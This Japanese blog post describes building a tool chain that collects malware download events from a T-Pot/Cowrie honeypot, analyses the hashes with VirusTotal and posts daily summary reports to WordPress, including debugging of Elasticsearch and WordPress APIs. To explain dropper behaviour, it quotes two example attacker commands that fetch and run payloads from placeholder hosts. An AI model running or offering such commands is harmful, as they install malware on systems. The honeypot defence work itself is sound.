1. はじめに:本記事が解説する自動化ツールの全体像
この記事では、T-Potハニーポットが収集した脅威情報を自動で分析し、WordPressにレポートする一連のツールを開発した際の、詳細な試行錯誤の道のりを記録します。最終的に完成した、堅牢で柔軟なアーキテクチャに至るまでの、数々のトラブルシューティングの過程を共有します。
1-1. システムが動作するネットワーク構成
このツールは、以下のコンポーネントがインターネット経由でAPI連携することを前提としています。
graph TD subgraph "クライアントPC (分析ツール実行)" A["malware_analyzer.py"] JsonFile(("分析結果.json")) B["post_article.py"] end subgraph "外部サービス" TPot["T-Potサーバー (VPS)<br>Elasticsearch API"] VT["VirusTotal API"] WP["WordPressサーバー<br>REST API"] end A -- 攻撃ログ取得 --> TPot A -- ハッシュ値分析 --> VT A -- 生成 --> JsonFile JsonFile -- 読み込み --> B B -- 記事投稿 --> WP
1-2. 最終的に完成したツールのアーキテクチャ
分析と投稿の役割を明確に分離した、以下のアーキテクチャを採用しました。これにより、メンテナンス性と拡張性が大幅に向上しています。
graph TD subgraph "クライアントPC (このリポジトリ)" A["1. malware_analyzer.py T-Potからデータを取得・分析"] -- "分析レポート(JSON)を生成" --> F[/"wordpress/articles/json/ 投稿用JSONファイル"/] F -- " " --> B["2. post_article.py 指定されたJSONを投稿"] end subgraph "VPS" TPot["T-Potサーバー Elasticsearch API"] end subgraph "Webサーバー" WP["WordPressサイト REST API"] end Internet(((インターネット))) A -- "API経由で攻撃データを取得" --> Internet Internet -- " " --> TPot B -- "API経由で記事を投稿" --> Internet Internet -- " " --> WP
1-3. この開発のゴール:なぜ自動化が必要だったのか
T-Potは非常に強力なハニーポットプラットフォームですが、日々収集される膨大なログを手動で確認し、脅威を分析するのは多大な労力を要します。この開発の最大の目的は、この分析プロセスを可能な限り自動化し、脅威インテリジェンスを効率的に集約・可視化することにありました。
2.Cowrieは如何にしてマルウェアを捕獲するのか
日々進化するサイバー攻撃を理解するためには、攻撃者が実際に使用するツールや手口を分析することが不可欠です。私たちのT-Potハニーポットは、インターネット上の様々な攻撃を24時間体制で観測・記録する最前線の基地として機能しています。特に、SSHやTelnetといった古典的でありながら今なお主要な侵入経路を監視するCowrieハニーポットは、貴重なマルウェア検体を収集するための重要なコンポーネントです。
cowireハニーポットはt-potが用意している多数のハニーポットの1つです。まずCowrieがどのようにして攻撃者からマルウェアファイルを入手するのか、その仕組みを理解することが重要です。
2-1.攻撃者の侵入プロセス
攻撃は、多くの場合、自動化されたスキャンから始まります。攻撃者のボットは、インターネット全体をスキャンし、SSH (ポート 22) や Telnet (ポート 23) が開いているサーバーを探索します。
- 認証情報の突破: ターゲットを発見すると、ボットは辞書攻撃や総当たり攻撃(ブルートフォースアタック)を用いて、脆弱なパスワード(例: “admin”, “password123″)を試行し、侵入を試みます。
- 偽のシェル環境へ: Cowrieは、これらのログイン試行を成功させ、攻撃者を意図的に偽のLinuxシェル環境へと誘導します。この環境は本物のOSのように見えますが、実際には攻撃者の行動をすべて記録・監視するためのサンドボックスです。
2-2.マルウェアのダウンロード手法
偽のシェルにログインした攻撃者(またはボット)の主な目的は、そのサーバーを乗っ取り、より大規模な攻撃(DDoS攻撃など)の踏み台にすることです。そのために、外部のサーバーからマルウェア本体をダウンロードしようと試みます。
最も一般的に使用されるコマンドは wget
や curl
です。
# 攻撃者が実行するコマンドの例
wget http://attackers-server.com/payload.sh -O - | sh
curl -s http://evil-domain.net/bot.elf -o /tmp/bot && chmod +x /tmp/bot && /tmp/bot
Cowrieはこれらのコマンド実行を検知すると、実際にファイルをダウンロードし、自身の安全な領域に検体として保存します。 これが、私たちが分析したいマルウェアの実体です。T-Pot環境では、これらの活動記録と保存されたファイルのハッシュ値(SHA256)が、すべてElasticsearchにログとして集約されます。
2-3.この活動の正体:ボットネットの増殖活動
Cowrieが観測しているこれら一連の動きは、特定の目的を持った自動化された攻撃活動であり、専門的には「ボットネットの増殖活動 (Botnet Propagation)」と呼ばれます。攻撃者は、脆弱なデバイスを乗っ取り、「ボット」と呼ばれる手駒にして、自らの支配下にあるネットワーク(ボットネット)を拡大しようとします。
この活動は、以下の段階に分けることができます。
段階 | 専門用語 | 簡単な説明 |
---|---|---|
1. 侵入 | ブルートフォース攻撃 (Brute-force Attack) |
SSHやTelnetに対して、考えられるIDとパスワードの組み合わせを大量に試行し、不正ログインを試みる攻撃です。 |
2. 実行 | ドロッパー / ダウンローダー (Dropper / Downloader) |
侵入後、wget や curl コマンドを使って外部サーバーからマルウェア本体をダウンロードさせる手口です。この初期侵入に使われるスクリプト自体を指します。 |
3. 感染 | ボット / ゾンビ (Bot / Zombie) |
ダウンロードされたマルウェアが実行され、デバイスが乗っ取られた状態です。このデバイスは攻撃者の命令を待つ「ボット」となります。 |
4. 指令 | C2サーバー (Command and Control) |
ボットは、攻撃者が管理する「C2サーバー」に接続し、次の命令(例: DDoS攻撃、スパム送信など)を受け取ります。 |
代表的なマルウェア:Mirai
この手口で特に有名なのが、IoT機器を狙う「Mirai (ミライ)」というマルウェアとその亜種です。Miraiは、まさに今回解説したように、インターネット上の脆弱なTelnet/SSHパスワードを持つデバイスをスキャンして侵入し、感染を広げて巨大なボットネットを形成します。
したがって、これらの動きを誰かに説明する際は、「Miraiのようなボットネットが、ブルートフォース攻撃で侵入し、ドロッパーを使ってマルウェア本体を感染させる活動」と表現すると、非常に正確に伝わります。
3. 【Phase 1】これら踏まえ、シンプルなツール自動化と、見えてきた課題
3-1. 最初の実装:「マルウェア1件 = 1記事」モデル
開発の第一歩として、「まずは動くものを作る」という方針で、Elasticsearchから新しいマルウェアのハッシュを取得し、VirusTotalで分析し、その結果を直接WordPressに投稿する単一のスクリプトを作成しました。
3-2. 浮上した問題点:細切れ記事の洪水と管理コストの増大
この初期スクリプトは意図通りに動作しましたが、すぐに新たな問題が浮上しました。攻撃が活発な日には、日に数十件もの分析記事がWordPress上に自動生成されてしまったのです。結果として、個々の脅威は記録されるものの、脅威の全体像を把握することが困難になり、管理コストが増大するという皮肉な状況に陥りました。
3-3. 発想の転換:日次サマリーレポート形式への移行
この「細切れ記事の洪水」問題を解決するため、私たちはアプローチを根本から見直しました。「1件のマルウェアにつき1記事」というモデルを捨て、**「1回の実行で検出された全マルウェアの情報を1つのサマリー記事にまとめる」**という方針へと大きく舵を切りました。
3-4. 新アーキテクチャの設計:分析と投稿の「関心の分離」
サマリーレポート形式への移行に伴い、ツールの設計も見直しました。単一のスクリプトが全てを行うのではなく、責務を明確に分離するアーキテクチャを採用しました。
malware_analyzer.py
: データの取得、分析、そして投稿用JSONファイルの生成に特化する。post_article.py
: 指定されたJSONファイルを読み込み、WordPressへの投稿に特化する。
この「関心の分離」により、それぞれのスクリプトがシンプルになり、将来的な機能拡張やデバッグが格段に容易になりました。
4. 【Phase 2】トラブルシューティングの迷宮
4-1. 最初の壁:malware_analyzer.pyが沈黙する
新アーキテクチャへの改修を終え、意気揚々とスクリプトを実行したものの、現実は非情でした。Kibanaの画面では確かにマルウェアのログが確認できるにもかかわらず、スクリプトは「新しいマルウェアは見つかりませんでした」と報告するばかり。ここから、長く困難なトラブルシューティングの旅が始まりました。
4-2. 仮説と検証① フィールド名の探求
最初に疑ったのは、Elasticsearch内でマルウェアのハッシュ値が格納されているフィールド名です。私たちは考えうる全ての可能性を試しました。
file.hash.sha256
(Elastic Common Schemaでの標準名) → 失敗shasum
(Cowrieでよく使われる名前) → 失敗sha256sum
→ 失敗
T-Potリポジトリ内のlogstash.conf
を読み解いても、フィールド名を変更しているような記述は見当たらず、調査は暗礁に乗り上げました。
4-3. 仮説と検証② インデックス名の特定
次に疑ったのは、検索対象のインデックス名そのものです。スクリプトは当初tpot-*
というパターンを検索していましたが、ここで提供いただいたElasticvueのスクリーンショットが大きなブレークスルーをもたらしました。ログはlogstash-*
というインデックスに保存されていたのです。これはlogstash.conf
内のindex => "logstash-%{+YYYY.MM.dd}"
という設定を見落としていた、完全な調査ミスでした。
4-4. 仮説と検証③ クエリフィルタの絞り込みと、最終的な答え
インデックス名を修正しても、まだデータは取得できませんでした。最後の決め手となったのは、提供いただいた**生ログのJSONデータそのもの**でした。この生ログを詳細に分析した結果、以下の2つの重要な事実が判明しました。
- マルウェアのダウンロードイベントを正確に特定するためのフィルタは
"eventid": "cowrie.session.file_download"
であること。 - そして、ハッシュ値が格納されているフィールド名は、さんざん試した結果、最終的に
shasum
であったこと。
過去の試行でshasum
が失敗していたのは、インデックス名や他のフィルタ条件が間違っていたためであり、全ての条件が揃ったことで、ようやく正しいデータを取得できるようになったのです。
4-5.【参考】T-Pot (Cowrie) のファイルダウンロードログ形式
同様の開発を行う方のために、今回特定したCowrieのファイルダウンロードイベントのログサンプルを以下に示します。この形式を理解することが、T-Potのログを正しく解析するための鍵となります。
{
"_index": "logstash-2025.08.29",
"_id": "...",
"_score": 1,
"_source": {
"timestamp": "2025-08-29T00:00:00.000Z",
"message": "Downloaded file to '/opt/cowrie/var/lib/cowrie/downloads/xxxxxxxx.bin'",
"shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2",
"url": "http://example.com/malware.exe",
"outfile": "/opt/cowrie/var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2.bin",
"eventid": "cowrie.session.file_download",
"sensor": "tpot-01",
"src_ip": "192.0.2.1",
"session": "xxxxxxxx",
/* ... other fields ... */
}
}
5. 【Phase 3】WordPress投稿処理のデバッグ
5-1. さらなる壁:WordPress APIエラーとの対峙
データの取得と分析には成功しましたが、開発はまだ終わりませんでした。生成されたJSONをpost_article.py
で投稿しようとすると、今度はWordPress APIからエラーが返されたのです。
5-2. エラー① 無効なパラメータ: categories: 文字列とIDの壁
最初のエラーは、カテゴリやタグの指定に関するものでした。WordPress APIは、カテゴリやタグを名前(文字列)ではなく、内部で管理されているID(数値)で受け付ける仕様でした。これを解決するため、指定された名前のカテゴリ/タグが存在するかをAPIで確認し、存在すればそのIDを取得、存在しなければ新規作成してIDを取得するヘルパー関数get_or_create_term_id
を実装しました。
5-3. エラー② get() missing ... 'id': ライブラリの仕様理解
上記ヘルパー関数の実装中にも、さらなるエラーが発生しました。カテゴリ等を名前で検索するためにwp-api-client
ライブラリのendpoint.get(search='...')
を呼び出したところ、引数エラーとなったのです。ライブラリのドキュメントを再確認した結果、ID以外での検索には.get()
ではなく.list(search='...')
メソッドを使用するのが正しいと判明。この修正により、ようやく投稿処理が安定して動作するようになりました。
6. まとめ:開発の旅路から得られた教訓
この一連の開発とトラブルシューティングの経験から、私たちはいくつかの重要な教訓を得ました。
6-1. 教訓①:「思い込み」を捨て、常に「実物」を確認する
ドキュメントや一般的な常識、過去の経験から「こうあるべきだ」と推測することは危険を伴います。今回、Elasticsearchのフィールド名やインデックス名で遠回りをしたように、最終的に信じるべきは、目の前で動いているシステムが出力する**生のログデータ**そのものです。
6-2. 教訓②:設定ファイルは宝の山である
logstash.conf
を見落としたように、システムの挙動を決定づける重要な情報は、しばしば設定ファイルの中に眠っています。新しい環境を扱う際は、関連する設定ファイルを注意深く読み解くことが、結果的に開発の近道となります。
6-3. 教訓③:対話的な開発がデバッグを加速させる
開発者一人で画面に向かって悩む時間には限界があります。今回、ユーザー様から提供いただいたスクリーンショットや生ログといった具体的なフィードバックが、何度も調査の突破口を開いてくれました。この**対話的な開発プロセス**こそが、複雑な問題を解決する上で最も強力な武器であると再認識しました。
コメント